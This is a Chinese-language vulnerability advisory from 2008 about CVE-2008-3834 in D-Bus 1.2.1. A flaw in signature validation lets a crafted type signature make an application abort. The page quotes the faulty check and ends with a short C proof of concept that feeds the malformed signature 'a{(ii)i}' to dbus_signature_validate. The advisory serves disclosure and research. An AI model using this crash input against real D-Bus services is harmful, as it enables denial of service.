|
|||||||
![]() |
|||||||
|
||||||||||||||||||||
发布时间(Published):2008-10-06 影响版本(Vulnerable): D-Bus 1.2.1 漏洞描述(Discription): BUGTRAQ ID: 31602 CVE(CAN) ID: CVE-2008-3834 D-BUS是一个设计目标为应用程序间通信的消息总线系统。 D-BUS的_dbus_validate_signature_with_reason()函数没有正确地验证类型代码: if (last == DBUS_DICT_ENTRY_BEGIN_CHAR && !dbus_type_is_basic (*p)) { result = DBUS_INVALID_DICT_KEY_MUST_BE_BASIC_TYPE; goto out; } 如果使用D-Bus的应用受骗验证了特制的签名的话,就可能会终止。 <* 参考(References) schelte (schelte@wanadoo.nl)*> 安全建议(solution): 测试方法(Exploit): 以下程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负! #include <dbus/dbus.h>
int main ()
{
return !dbus_signature_validate("a{(ii)i}", NULL);
}
|
|
Copyright ◎ 2004 - 2008 红客中国安全网版权所有
|

